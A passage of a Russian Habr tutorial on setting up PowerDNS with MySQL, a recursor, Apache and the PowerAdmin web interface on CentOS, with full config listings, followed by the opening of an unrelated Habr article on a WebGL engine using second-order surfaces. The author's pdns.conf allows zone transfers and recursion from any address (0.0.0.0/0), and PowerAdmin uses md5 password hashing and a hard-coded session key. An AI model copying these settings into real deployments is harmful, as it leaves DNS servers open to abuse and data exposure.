prio INT DEFAULT NULL,
change_date INT DEFAULT NULL,
disabled TINYINT(1) DEFAULT 0,
ordername VARCHAR(255) BINARY DEFAULT NULL,
auth TINYINT(1) DEFAULT 1,
PRIMARY KEY (id)
) Engine=InnoDB;
CREATE INDEX nametype_index ON records(name,type);
CREATE INDEX domain_id ON records(domain_id);
CREATE INDEX recordorder ON records (domain_id, ordername);
CREATE TABLE supermasters (
ip VARCHAR(64) NOT NULL,
nameserver VARCHAR(255) NOT NULL,
account VARCHAR(40) NOT NULL,
PRIMARY KEY (ip, nameserver)
) Engine=InnoDB;
CREATE TABLE comments (
id INT AUTO_INCREMENT,
domain_id INT NOT NULL,
name VARCHAR(255) NOT NULL,
type VARCHAR(10) NOT NULL,
modified_at INT NOT NULL,
account VARCHAR(40) NOT NULL,
comment VARCHAR(64000) NOT NULL,
PRIMARY KEY (id)
) Engine=InnoDB;
CREATE INDEX comments_domain_id_idx ON comments (domain_id);
CREATE INDEX comments_name_type_idx ON comments (name, type);
CREATE INDEX comments_order_idx ON comments (domain_id, modified_at);
CREATE TABLE domainmetadata (
id INT AUTO_INCREMENT,
domain_id INT NOT NULL,
kind VARCHAR(32),
content TEXT,
PRIMARY KEY (id)
) Engine=InnoDB;
CREATE INDEX domainmetadata_idx ON domainmetadata (domain_id, kind);
CREATE TABLE cryptokeys (
id INT AUTO_INCREMENT,
domain_id INT NOT NULL,
flags INT NOT NULL,
active BOOL,
content TEXT,
PRIMARY KEY(id)
) Engine=InnoDB;
CREATE INDEX domainidindex ON cryptokeys(domain_id);
CREATE TABLE tsigkeys (
id INT AUTO_INCREMENT,
name VARCHAR(255),
algorithm VARCHAR(50),
secret VARCHAR(255),
PRIMARY KEY (id)
) Engine=InnoDB;
CREATE UNIQUE INDEX namealgoindex ON tsigkeys(name, algorithm);
```
7) Устанавливаем PowerDNS autoritative.
Через репозиторий epel
```
yum install pdns pdns-backend-mysql pdns-tools pdns-backend-postgresql -y
systemctl enable pdns.service
systemctl start pdns.service
netstat -tap | grep pdns
```
Через [репозиторий powerdns](https://repo.powerdns.com/)
Для версии 4.0.0:
```
yum -y install epel-release yum-plugin-priorities
curl -o /etc/yum.repos.d/powerdns-auth-40.repo https://repo.powerdns.com/repo-files/centos-auth-40.repo
yum install pdns
```
Либо из исходников
[Исходники](https://github.com/PowerDNS/pdns) PowerDNS можно найти на github.
Устанавливаем необходимые программы для сборки из исходников и выполняем предварительное конфигурирование.
```
yum install autoconf automake bison flex g++ git libboost-all-dev libtool make pkg-config ragel libmysqlclient-dev unzip
yum groupinstall "Development Tools"
cd /etc/yum.repos.d/
wget http://download.opensuse.org/repositories/home:waziers/CentOS_CentOS-6/home:waziers.repo
wget http://springdale.math.ias.edu/data/puias/unsupported/6/x86_64/ragel-6.6-2.puias6.x86_64.rpm
rpm -i ragel-6.6-2.puias6.x86_64.rpm
yum install -y LuaJIT LuaJIT-devel openssl-devel boost-devel sqlite-devel mysql mysql-devel
wget https://github.com/PowerDNS/pdns/archive/master.zip
unzip master.zip
cd pdns-master
./bootstrap
```
Далее собираем и устанавливаем PowerDNS. Также можно посмотреть доступные опции.
```
cd /root/pdns-master
./configure --help
./configure --with-luajit --with-lua --with-gnu-ld --with-sqlite3 --with-mysql-lib--with-mysql
make
make install
```
8) Настраиваем конфигурацию авторитетного сервера
```
cp /etc/pdns/pdns.conf /etc/pdns/pdns.conf.bak
vi /etc/pdns/pdns.conf
```
**Файл конфигурации авторитетного сервера PowerDNS**
```
setuid=pdns
setgid=pdns
launch=gmysql
gmysql-host=127.0.0.1
gmysql-user=imperituroard
gmysql-password=password
gmysql-dbname=powerdns
gmysql-dnssec=yes
# Autogenerated configuration file template
#################################
# allow-axfr-ips Allow zonetransfers only to these subnets
#
allow-axfr-ips=0.0.0.0/0
#################################
# allow-dnsupdate-from A global setting to allow DNS updates from these IP ranges.
#
# allow-dnsupdate-from=127.0.0.0/8,::1
#################################
# allow-notify-from Allow AXFR NOTIFY from these IP ranges. If empty, drop all incoming notifies.
#
# allow-notify-from=0.0.0.0/0,::/0
#################################
# allow-recursion List of subnets that are allowed to recurse
#
allow-recursion=0.0.0.0/0
#lazy-recursion=yes
#recursor=127.0.0.1:5354
recursor=134.17.0.3
#recursor=212.98.160.50 8.8.8.8 8.8.4.4 82.209.240.241
#recursor=8.8.4.4
#recursor=198.41.0.4
#recursor=192.228.79.201
#recursor=192.33.4.12
#recursor=199.7.91.13
#recursor=192.203.230.10
#recursor=192.5.5.241
#recursor=192.112.36.4
#recursor=128.63.2.53
#recursor=192.36.148.17
#recursor=192.58.128.30
#recursor=193.0.14.129
#recursor=199.7.83.42
#recursor=202.12.27.33
#################################
# also-notify When notifying a domain, also notify these nameservers
#
# also-notify=
#################################
# any-to-tcp Answer ANY queries with tc=1, shunting to TCP
#
# any-to-tcp=no
#################################
# cache-ttl Seconds to store packets in the PacketCache
cache-ttl=20000
#################################
# carbon-interval Number of seconds between carbon (graphite) updates
#
# carbon-interval=30
#################################
# carbon-ourname If set, overrides our reported hostname for carbon stats
#
# carbon-ourname=
#################################
# carbon-server If set, send metrics in carbon (graphite) format to this server
#
# carbon-server=
#################################
# chroot If set, chroot to this directory for more security
#
# chroot=
#################################
# config-dir Location of configuration directory (pdns.conf)
#
# config-dir=/usr/local/etc
#################################
# config-name Name of this virtual configuration - will rename the binary image
#
# config-name=
#################################
# control-console Debugging switch - don't use
#
control-console=no
#################################
# daemon Operate as a daemon
#
#daemon=yes
#################################
# default-ksk-algorithms Default KSK algorithms
#
# default-ksk-algorithms=rsasha256
#################################
# default-ksk-size Default KSK size (0 means default)
#
# default-ksk-size=0
#################################
# default-soa-mail mail address to insert in the SOA record if none set in the backend
#
# default-soa-mail=
#################################
# default-soa-name name to insert in the SOA record if none set in the backend
#
default-soa-name=powerdnstest.tech.mts.by
#################################
# default-ttl Seconds a result is valid if not set otherwise
#
default-ttl=3600
#################################
# default-zsk-algorithms Default ZSK algorithms
#
# default-zsk-algorithms=rsasha256
#################################
# default-zsk-size Default ZSK size (0 means default)
#
# default-zsk-size=0
#################################
# direct-dnskey Fetch DNSKEY RRs from backend during DNSKEY synthesis
#
# direct-dnskey=no
#################################
# disable-axfr Disable zonetransfers but do allow TCP queries
#
# disable-axfr=no
#################################
# disable-axfr-rectify Disable the rectify step during an outgoing AXFR. Only required for regression testing.
#
# disable-axfr-rectify=no
#################################
# disable-tcp Do not listen to TCP queries
#
# disable-tcp=no
#################################
# distributor-threads Default number of Distributor (backend) threads to start
#
# distributor-threads=3
#################################
# do-ipv6-additional-processing Do AAAA additional processing
#
# do-ipv6-additional-processing=yes
#################################
# edns-subnet-processing If we should act on EDNS Subnet options
#
# edns-subnet-processing=no
#################################
# entropy-source If set, read entropy from this file
#
# entropy-source=/dev/urandom
#################################
# experimental-api-key REST API Static authentication key (required for API use)
#
# experimental-api-key=
#################################
# experimental-api-readonly If the JSON API should disallow data modification
#
# experimental-api-readonly=no
#################################
# experimental-dname-processing If we should support DNAME records
#
# experimental-dname-processing=no
#################################
# experimental-dnsupdate Enable/Disable DNS update (RFC2136) support. Default is no.
#
# experimental-dnsupdate=no
#################################
# experimental-json-interface If the webserver should serve JSON data
#
# experimental-json-interface=no
#################################
# experimental-logfile Filename of the log file for JSON parser
#
# experimental-logfile=/var/log/pdns.log
#################################
# forward-dnsupdate A global setting to allow DNS update packages that are for a Slave domain, to be forwarded to the master.
#
# forward-dnsupdate=yes
#################################
# guardian Run within a guardian process
#
#guardian=no
#################################
# include-dir Include *.conf files from this directory
#
# include-dir=
#################################
# launch Which backends to launch and order to query them in
#
# launch=
#################################
# load-modules Load this module - supply absolute or relative path
#
# load-modules=
#################################
# local-address Local IP addresses to which we bind
#
# local-address=0.0.0.0
#################################
# local-address-nonexist-fail Fail to start if one or more of the local-address's do not exist on this server
#
# local-address-nonexist-fail=yes
#################################
# local-ipv6 Local IP address to which we bind
#
# local-ipv6=
#################################
# local-ipv6-nonexist-fail Fail to start if one or more of the local-ipv6 addresses do not exist on this server
#
# local-ipv6-nonexist-fail=yes
#################################
# local-port The port on which we listen
#
# local-port=53
#################################
# log-dns-details If PDNS should log DNS non-erroneous details
#
# log-dns-details=no
#log-dns-details=/var/log/pdns/pdns-details.log
#log-failed-updates=/var/log/pdns/pdns-fail.log
#logfile=/var/log/pdns/pdns.log
#################################
# log-dns-queries If PDNS should log all incoming DNS queries
#
log-dns-queries=yes
#################################
# logging-facility Log under a specific facility
#
logging-facility=0
#################################
# loglevel Amount of logging. Higher is more. Do not set below 3
#
#logfile=/var/log/pdns/pdns.log
#logfile=/etc/pdns/
loglevel=9
#################################
# lua-prequery-script Lua script with prequery handler
#
# lua-prequery-script=
#################################
# master Act as a master
#
# master=no
#################################
# max-cache-entries Maximum number of cache entries
#
# max-cache-entries=1000000
#################################
# max-ent-entries Maximum number of empty non-terminals in a zone
#
# max-ent-entries=100000
#################################
# max-nsec3-iterations Limit the number of NSEC3 hash iterations
#
# max-nsec3-iterations=500
#################################
# max-queue-length Maximum queuelength before considering situation lost
#
max-queue-length=5000
#################################
# max-signature-cache-entries Maximum number of signatures cache entries
#
# max-signature-cache-entries=
#################################
#################################
# max-tcp-connections Maximum number of TCP connections
#
max-tcp-connections=20
#################################
# module-dir Default directory for modules
#
# module-dir=/usr/local/lib/pdns
#################################
# negquery-cache-ttl Seconds to store negative query results in the QueryCache
#
# negquery-cache-ttl=60
#################################
# no-shuffle Set this to prevent random shuffling of answers - for regression testing
#
# no-shuffle=off
#################################
# only-notify Only send AXFR NOTIFY to these IP addresses or netmasks
#
# only-notify=0.0.0.0/0,::/0
#################################
# out-of-zone-additional-processing Do out of zone additional processing
#
# out-of-zone-additional-processing=yes
#################################
# overload-queue-length Maximum queuelength moving to packetcache only
#
# overload-queue-length=0
#################################
# pipebackend-abi-version Version of the pipe backend ABI
#
# pipebackend-abi-version=1
#################################
# prevent-self-notification Don't send notifications to what we think is ourself
#
# prevent-self-notification=yes
#################################
# query-cache-ttl Seconds to store query results in the QueryCache
#
# query-cache-ttl=20
#################################
# query-local-address Source IP address for sending queries
#
# query-local-address=0.0.0.0
#################################
# query-local-address6 Source IPv6 address for sending queries
#
# query-local-address6=::
#################################
# query-logging Hint backends that queries should be logged
#
# query-logging=no
#################################
# queue-limit Maximum number of milliseconds to queue a query
#
# queue-limit=1500
#################################
# receiver-threads Default number of receiver threads to start
#
# receiver-threads=1
#################################
# recursive-cache-ttl Seconds to store packets for recursive queries in the PacketCache
#
# recursive-cache-ttl=10
#################################
# recursor If recursion is desired, IP address of a recursing nameserver
#
# recursor=no
#################################
# retrieval-threads Number of AXFR-retrieval threads for slave operation
#
# retrieval-threads=2
#################################
# reuseport Enable higher performance on compliant kernels by using SO_REUSEPORT allowing each receiver thread to open its own socket
#
# reuseport=no
#################################
# security-poll-suffix Domain name from which to query security update notifications
#
# security-poll-suffix=secpoll.powerdns.com.
#################################
# send-root-referral Send out old-fashioned root-referral instead of ServFail in case of no authority
#
# send-root-referral=no
#################################
# server-id Returned when queried for 'server.id' TXT or NSID, defaults to hostname - disabled or custom
#
# server-id=
#################################
# setgid If set, change group id to this gid for more security
#
# setgid=
#################################
# setuid If set, change user id to this uid for more security
#
# setuid=
#################################
# signing-threads Default number of signer threads to start
#
#
# signing-threads=3
#################################
# slave Act as a slave
#
# slave=no
#################################
# slave-cycle-interval Schedule slave freshness checks once every .. seconds
#
# slave-cycle-interval=60
#################################
# slave-renotify If we should send out notifications for slaved updates
#
# slave-renotify=no
#################################
# soa-expire-default Default SOA expire
#
# soa-expire-default=604800
#################################
# soa-minimum-ttl Default SOA minimum ttl
#
# soa-minimum-ttl=3600
#################################
# soa-refresh-default Default SOA refresh
#
# soa-refresh-default=10800
#################################
# soa-retry-default Default SOA retry
#
# soa-retry-default=3600
#################################
# socket-dir Where the controlsocket will live
#
# socket-dir=/var/run
#################################
# tcp-control-address If set, PowerDNS can be controlled over TCP on this address
#
# tcp-control-address=
#################################
# tcp-control-port If set, PowerDNS can be controlled over TCP on this address
#
# tcp-control-port=53000
#################################
# tcp-control-range If set, remote control of PowerDNS is possible over these networks only
#
# tcp-control-range=127.0.0.0/8, 10.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12, ::1/128, fe80::/10
#################################
# tcp-control-secret If set, PowerDNS can be controlled over TCP after passing this secret
#
# tcp-control-secret=
#################################
# traceback-handler Enable the traceback handler (Linux only)
#
# traceback-handler=yes
#################################
# trusted-notification-proxy IP address of incoming notification proxy
#
# trusted-notification-proxy=
#################################
# udp-truncation-threshold Maximum UDP response size before we truncate
#
# udp-truncation-threshold=1680
#################################
# version-string PowerDNS version in packets - full, anonymous, powerdns or custom
#
# version-string=full
#################################
# webserver Start a webserver for monitoring
#
# webserver=no
#################################
# webserver-address IP Address of webserver to listen on
#
# webserver-address=127.0.0.1
#################################
# webserver-allow-from Webserver access is only allowed from these subnets
#
# webserver-allow-from=0.0.0.0/0,::/0
#################################
# webserver-password Password required for accessing the webserver
#
# webserver-password=
#################################
# webserver-port Port of webserver to listen on
#
# webserver-port=8081
#################################
# webserver-print-arguments If the webserver should print arguments
#
# webserver-print-arguments=no
```
Перезагружаемся
```
service pdns restart
```
Проце
[Описание конфигурации PowerDNS authoritative v4.x](https://doc.powerdns.com/md/authoritative/settings/)
9) Устанавливаем рекурсивный DNS
```
yum install pdns-recursor -y
vi /etc/pdns-recursor/recursor.conf
```
```
chkconfig pdns-recursor on
service pdns-recursor start
```
v4.0.0 Через репозиторий powerdns
```
curl -o /etc/yum.repos.d/powerdns-rec-40.repo https://repo.powerdns.com/repo-files/centos-rec-40.repo
yum install pdns-recursor
```
10) Установка веб интерфейса администратора
Подготовительные действия.
```
yum -y install httpd php php-devel php-gd php-imap php-ldap php-mysql php-odbc php-pear php-xml php-xmlrpc php-mbstring php-mcrypt php-mhash gettext -y
chkconfig --levels 235 httpd on
systemctl enable httpd.service
systemctl start httpd.service
service httpd start
yum -y install php-pear-DB php-pear-MDB2-Driver-mysql -y
```
Настраиваем apache
```
vi /etc/httpd/conf/httpd.conf
```
Открываем доступ к веб GUI
**Моя конфигурация apache**
```
#
# This is the main Apache HTTP server configuration file. It contains the
# configuration directives that give the server its instructions.
# See for detailed information.
# In particular, see
#
# for a discussion of each configuration directive.
#
# Do NOT simply read the instructions in here without understanding
# what they do. They're here only as hints or reminders. If you are unsure
# consult the online docs. You have been warned.
#
# Configuration and logfile names: If the filenames you specify for many
# of the server's control files begin with "/" (or "drive:/" for Win32), the
# server will use that explicit path. If the filenames do \*not\* begin
# with "/", the value of ServerRoot is prepended -- so 'log/access\_log'
# with ServerRoot set to '/www' will be interpreted by the
# server as '/www/log/access\_log', where as '/log/access\_log' will be
# interpreted as '/log/access\_log'.
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# Do not add a slash at the end of the directory path. If you point
# ServerRoot at a non-local disk, be sure to specify a local disk on the
# Mutex directive, if file-based mutexes are used. If you wish to share the
# same ServerRoot for multiple httpd daemons, you will need to change at
# least PidFile.
#
ServerRoot "/etc/httpd"
#
# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, instead of the default. See also the
# directive.
#
# Change this to Listen on specific IP addresses as shown below to
# prevent Apache from glomming onto all bound IP addresses.
#
#Listen 12.34.56.78:80
Listen 80
#
# Dynamic Shared Object (DSO) Support
#
# To be able to use the functionality of a module which was built as a DSO you
# have to place corresponding `LoadModule' lines at this location so the
# directives contained in it are actually available \_before\_ they are used.
# Statically compiled modules (those listed by `httpd -l') do not need
# to be loaded here.
#
# Example:
# LoadModule foo\_module modules/mod\_foo.so
#
Include conf.modules.d/\*.conf
#
# If you wish httpd to run as a different user or group, you must run
# httpd as root initially and it will switch.
#
# User/Group: The name (or #number) of the user/group to run httpd as.
# It is usually good practice to create a dedicated user and group for
# running httpd, as with most system services.
#
User apache
Group apache
# 'Main' server configuration
#
# The directives in this section set up the values used by the 'main'
# server, which responds to any requests that aren't handled by a
# definition. These values also provide defaults for
# any containers you may define later in the file.
#
# All of these directives may appear inside containers,
# in which case these default settings will be overridden for the
# virtual host being defined.
#
#
# ServerAdmin: Your address, where problems with the server should be
# e-mailed. This address appears on some server-generated pages, such
# as error documents. e.g. admin@your-domain.com
#
ServerAdmin root@localhost
#
# ServerName gives the name and port that the server uses to identify itself.
# This can often be determined automatically, but we recommend you specify
# it explicitly to prevent problems during startup.
#
# If your host doesn't have a registered DNS name, enter its IP address here.
#
#ServerName www.example.com:80
#
# Deny access to the entirety of your server's filesystem. You must
# explicitly permit access to web content directories in other
# blocks below.
#
AllowOverride none
Require all denied
#
# Note that from this point forward you must specifically allow
# particular features to be enabled - so if something's not working as
# you might expect, make sure that you have specifically enabled it
# below.
#
#
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "/var/www/html"
#
# Relax access to content within /var/www.
#
AllowOverride None
# Allow open access:
Require all granted
# Further relax access to the default document root:
#
# Possible values for the Options directive are "None", "All",
# or any combination of:
# Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
#
# Note that "MultiViews" must be named \*explicitly\* --- "Options All"
# doesn't give it to you.
#
# The Options directive is both complicated and important. Please see
# http://httpd.apache.org/docs/2.4/mod/core.html#options
# for more information.
#
Options Indexes FollowSymLinks
#
# AllowOverride controls what directives may be placed in .htaccess files.
# It can be "All", "None", or any combination of the keywords:
# Options FileInfo AuthConfig Limit
#
AllowOverride None
#
# Controls who can get stuff from this server.
#
Require all granted
Order deny,allow
deny from all
allow from 217.21.61.8
allow from 10.128.71.3
allow from 10.135.55.4
allow from 46.216.24.152
#
# DirectoryIndex: sets the file that Apache will serve if a directory
# is requested.
#
DirectoryIndex index.html
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
Require all denied
#
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a
# container, error messages relating to that virtual host will be
# logged here. If you \*do\* define an error logfile for a
# container, that host's errors will be logged there and not here.
#
ErrorLog "logs/error\_log"
#
# LogLevel: Control the number of messages logged to the error\_log.
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
#
LogLevel warn
#
# The following directives define some format nicknames for use with
# a CustomLog directive (see below).
#
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %b" common
# You need to enable mod\_logio.c to use %I and %O
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio
#
# The location and format of the access logfile (Common Logfile Format).
# If you do not define any access logfiles within a
# container, they will be logged here. Contrariwise, if you \*do\*
# define per- access logfiles, transactions will be
# logged therein and \*not\* in this file.
#
#CustomLog "logs/access\_log" common
#
# If you prefer a logfile with access, agent, and referer information
# (Combined Logfile Format) you can use the following directive.
#
CustomLog "logs/access\_log" combined
#
# Redirect: Allows you to tell clients about documents that used to
# exist in your server's namespace, but do not anymore. The client
# will make a new request for the document at its new location.
# Example:
# Redirect permanent /foo http://www.example.com/bar
#
# Alias: Maps web paths into filesystem paths and is used to
# access content that does not live under the DocumentRoot.
# Example:
# Alias /webpath /full/filesystem/path
#
# If you include a trailing / on /webpath then the server will
# require it to be present in the URL. You will also likely
# need to provide a section to allow access to
# the filesystem path.
#
# ScriptAlias: This controls which directories contain server scripts.
# ScriptAliases are essentially the same as Aliases, except that
# documents in the target directory are treated as applications and
# run by the server when requested rather than as documents sent to the
# client. The same rules about trailing "/" apply to ScriptAlias
# directives as to Alias.
#
ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
#
# "/var/www/cgi-bin" should be changed to whatever your ScriptAliased
# CGI directory exists, if you have that configured.
#
AllowOverride None
Options None
Require all granted
#
# TypesConfig points to the file containing the list of mappings from
# filename extension to MIME-type.
#
TypesConfig /etc/mime.types
#
# AddType allows you to add to or override the MIME configuration
# file specified in TypesConfig for specific file types.
#
#AddType application/x-gzip .tgz
#
# AddEncoding allows you to have certain browsers uncompress
# information on the fly. Note: Not all browsers support this.
#
#AddEncoding x-compress .Z
#AddEncoding x-gzip .gz .tgz
#
# If the AddEncoding directives above are commented-out, then you
# probably should define those extensions to indicate media types:
#
AddType application/x-compress .Z
AddType application/x-gzip .gz .tgz
#
# AddHandler allows you to map certain file extensions to "handlers":
# actions unrelated to filetype. These can be either built into the server
# or added with the Action directive (see below)
#
# To use CGI scripts outside of ScriptAliased directories:
# (You will also need to add "ExecCGI" to the "Options" directive.)
#
#AddHandler cgi-script .cgi
# For type maps (negotiated resources):
#AddHandler type-map var
#
# Filters allow you to process content before it is sent to the client.
#
# To parse .shtml files for server-side includes (SSI):
# (You will also need to add "Includes" to the "Options" directive.)
#
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
#
# Specify a default charset for all content served; this enables
# interpretation of all content as UTF-8 by default. To use the
# default browser choice (ISO-8859-1), or to allow the META tags
# in HTML content to override this choice, comment out this
# directive:
#
AddDefaultCharset UTF-8
#
# The mod\_mime\_magic module allows the server to use various hints from the
# contents of the file itself to determine its type. The MIMEMagicFile
# directive tells the module where the hint definitions are located.
#
MIMEMagicFile conf/magic
#
# Customizable error responses come in three flavors:
# 1) plain text 2) local redirects 3) external redirects
#
# Some examples:
#ErrorDocument 500 "The server made a boo boo."
#ErrorDocument 404 /missing.html
#ErrorDocument 404 "/cgi-bin/missing\_handler.pl"
#ErrorDocument 402 http://www.example.com/subscription\_info.html
#
#
# EnableMMAP and EnableSendfile: On systems that support it,
# memory-mapping or the sendfile syscall may be used to deliver
# files. This usually improves server performance, but must
# be turned off when serving from networked-mounted
# filesystems or if support for these functions is otherwise
# broken on your system.
# Defaults if commented: EnableMMAP On, EnableSendfile Off
#
#EnableMMAP off
EnableSendfile on
# Supplemental configuration
#
# Load config files in the "/etc/httpd/conf.d" directory, if any.
IncludeOptional conf.d/\*.conf
```
Перезагружаем apache.
```
service httpd restart
```
11) Загружаем последнюю версию PowerAdmin с сайта [www.poweradmin.org](https://www.poweradmin.org/)
Я использовал версию 2.1.7
```
cd /root
wget -O poweradmin.zip https://github.com/poweradmin/poweradmin/archive/master.zip -c
unzip poweradmin.zip -d /var/www/html/
mv /var/www/html/poweradmin* /var/www/html/poweradmin
chown -R apache:apache /var/www/html/poweradmin/
cp /var/www/html/poweradmin/inc/config-me.inc.php /var/www/html/poweradmin/inc/config.inc.php
vi /var/www/html/poweradmin/inc/config.inc.php
```
В этом файле меняются строки:
`$db_host = 'localhost';
$db_port = '3306';
$db_user = 'imperituroard';
$db_pass = 'password';
$db_name = 'powerdns';
$db_type = 'mysql';`
Меняем Default session encryption key
```
$session_key = 'fg234v95ms@4n)kf!kje%7vh*eved';
```
**Мой файл config.inc.php**
```
php
/**
* Sample configuration file with default values
*
* @package Poweradmin
* @copyright 2007-2010 Rejo Zenger <rejo@zenger.nl
* @copyright 2010-2014 Poweradmin Development Team
* @license http://opensource.org/licenses/GPL-3.0 GPL
*/
// NOTE: Do not edit this file, otherwise it's very likely your changes
// will be overwritten with an upgrade.
// Instead, create the file "inc/config.inc.php" and set the variables you
// want to set there. Your changes will override the defaults provided by us.
// Better description of available configuration settings you can find here:
//
// Database settings
$db\_host = 'localhost';
$db\_port = '3306';
$db\_user = 'imperituroard';
$db\_pass = 'password';
$db\_name = 'powerdns';
$db\_type = 'mysql';
//$db\_file = ''; # used only for SQLite, provide full path to database file
//$db\_debug = false; # show all SQL queries
$db\_layer = 'PDO'; # or MDB2
//$db\_ssl\_ca = '';
// Security settings
// This should be changed upon install
$session\_key = 'fg234v95ms@4n)kf!kje%7vh\*eved';
$password\_encryption = 'md5'; // or md5salt
// Interface settings
$iface\_lang = 'en\_EN';
$iface\_style = 'example';
$iface\_rowamount = 50;
$iface\_expire = 1800;
$iface\_zonelist\_serial = false;
$iface\_title = 'Poweradmin';
$iface\_add\_reverse\_record = true;
// Predefined DNS settings
$dns\_hostmaster = '';
$dns\_ns1 = '';
$dns\_ns2 = '';
$dns\_ttl = 86400;
$dns\_fancy = false;
$dns\_strict\_tld\_check = false;
$dns\_top\_level\_tld\_check = false; // Don't allow to create top level TLDs
$dns\_third\_level\_check = false;
// Timezone settings
// See for help.
//$timezone = 'UTC';
// Logging settings
// Syslog usage - writes authentication attempts to syslog
// This facility could be used in combination with fail2ban to
// ban IPs with break-in attempts
$syslog\_use = false;
$syslog\_ident = 'poweradmin';
// On Windows usually only LOG\_USER is available
$syslog\_facility = LOG\_USER;
// PowerDNSSEC settings
$pdnssec\_use = false;
$pdnssec\_command = '/usr/bin/pdnssec';
// LDAP settings
$ldap\_use = false;
$ldap\_debug = false;
$ldap\_uri = 'ldap://domaincontroller.example.com';
$ldap\_basedn = 'OU=Users,DC=example,DC=com';
$ldap\_binddn = 'GROUP\lookupuser';
$ldap\_bindpw = 'some\_password';
$ldap\_user\_attribute = 'sAMAccountName';
$ldap\_proto = 3;
```
Перезагружаемся
```
service httpd restart
service pdns restart
```
12) Финальная настройка
Заходим по адресу [172.24.184.177/poweradmin/install/index.php](http://172.24.184.177/poweradmin/install/index.php)
Где 172.24.184.177 — IP вашего сервера.
И вводим все предложенные данные.
После завершения установки, удаляем папку /var/www/html/poweradmin/install и заходим в веб интерфейс управления по
адресу [172.24.184.177/poweradmin/index.php](http://172.24.184.177/poweradmin/index.php)
При настройке, есть несколько особенностей:
-при вводе сервера, где находится база, следует вводить localhost а не 127.0.0.1
-следует обязательно создавать пользователя с ограниченными правами на последнем шаге, в противном случае у админа будут ограниченные права.
А вот так выглядит веб интерфейс (есть русский язык):
13) Литература
Управление демоном pdns [Для v3.x](https://doc.powerdns.com/3/authoritative/internals/#modules-backends)
[Описание взаимодействий в ДНС иерархии](https://doc.powerdns.com/md/authoritative/modes-of-operation/)
P.S. Эта статья — первая часть моего рассказа. В следующей части я расскажу про дальнейшие настройки, для оптимизации производительности и пр. | https://habr.com/ru/post/278153/ | null | ru | null |
# Свежий взгляд на честное 3D в браузере
Приветствую.
Так получилось, что некоторое время назад я принимал участие в проекте, разрабатывал браузерную игру с принципиально новым подходом в хранении данных - предполагалось создать некую вариацию на тему .krieger, игру, которая использовала бы экстремально мало памяти для хранения ресурсов, сохранив при этом высокополигональность моделей, пусть и жертвуя при этом производительностью. Ввиду комплекса причин - проект закрылся, не выпустив даже MVP - но у нас остался серьезный пласт наработок, которыми я, с дозволения остальных участников команды поделюсь тут. Само собой, с авторскими комментариями и рассмотрением идеи. Подробности под катом.
Общие положения
---------------
В основу графического движка был положен webGL - по сути дела чистый, без каких либо фреймворков и библиотек. Даже классы работы с матрицами мы писали самостоятельно. С одной стороны это было обусловлено дополнительной "челленджностью" задачи, с другой - мы хотели в точности понимать, что происходит у нас в коде, и при необходимости - иметь возможность изменить стандартное поведение тех или иных методов, без необходимости вмешиваться в чужой код.
Основная идея, которую мы преследовали - нам хотелось уйти от традиционного хранения массива полигонов и нормалей, перейти к чему то более абстрактному, и в то же время - позволяющему реализовать практически любую фигуру игрового мира.
Полигоны в пространстве
-----------------------
> Утверждение: Любую фигуру можно представить в некотором конечном приближении как совокупность полигонов
>
>
Казалось бы, очевидная вещь. Все мы делали это, занимаясь моделированием - в явном или неявном виде. В явном виде получались угловатые параллелепипеды или пирамидки, в неявном виде - подобные принципы используются при натягивании Mesh`ей. Однако - как бы то ни было, с помощью традиционных треугольных полигонов неудобно хранить изогнутые поверхности - получается либо огромное число полигонов, либо слишком крупная сетка и вместо окружности мы получаем двадцатиугольник.
Однако, пробовал ли кто-либо рассматривать полигон как минимальную совокупность граней, но не на плоскости, в привычном нам понимании, а, например, на шаре? Насколько известно из открытых источников, таких проектов не было. Хотя казалось бы - работать должно точно так же, с той лишь разницей, что нужно условиться, какую именно часть сферы - внутреннюю или внешнюю относительно треугольника, проецируемого на его поверхность, считать "сферическим полигоном".
Тем не менее, сфера охватывает далеко не все случаи, которые могут понадобиться - по крайней мере, если не дробить ее слишком мелко, иначе мы снова скатываемся к проблеме большого числа полигонов. Кроме того, было бы неплохо задавать некоторые параметры для фигуры, в частности, если рассматривать случай сферы - ее радиус, угол поворота и координаты смещения относительно начала координат. И хотя для сферы угол поворота не играет большой роли, он пригодится для других фигур, ведь мы обобщили утверждения из предыдущих пары абзацев на любую поверхность второго порядка
> Утверждение: Любую фигуру можно представить в некотором конечном приближении как совокупность ограниченных частей поверхностей второго порядка.
>
>
Уже чуть менее (казалось бы) очевидное утверждение, однако - стоит вспомнить, что полигон в традиционном смысле (т.е. треугольник в пространстве) есть тоже часть плоскости, которая есть частный случай поверхности второго порядка, поэтому все, что мы сейчас сделали - обобщили предыдущее утверждение. Однако при необходимости получить нечто не треугольное - у нас появляется новые возможности, и для отрисовки, например, сферы, достаточно задать просто сферу, а для отрисовки некоторого элемента, содержащего часть сферы - например, щита (плоски срез сферы) или наплечника (четверть сферы) - требуется задать еще и секущие плоскости.
Таким образом, мы пришли к мысли, что для описания любой фигуры в пространстве нужна просто совокупность поверхностей второго порядка и некоторые ограничивающие плоскости. Для трехмерного пространства для однозначного определения отсечения требуется 6 плоскостей, однако - можно использовать основные плоскости проецирования, смещая фигуру в нужное место уже после обрезки.
Отрисовка
---------
Однако остается вопрос - как преобразовать множество поверхностей в полигоны? Тут все оказывается еще более тривиально - достаточно пустить множество лучей из камеры. В точках пересечения луча и поверхности можно ставить точку. А уже затем из данных точек формировать полигоны.
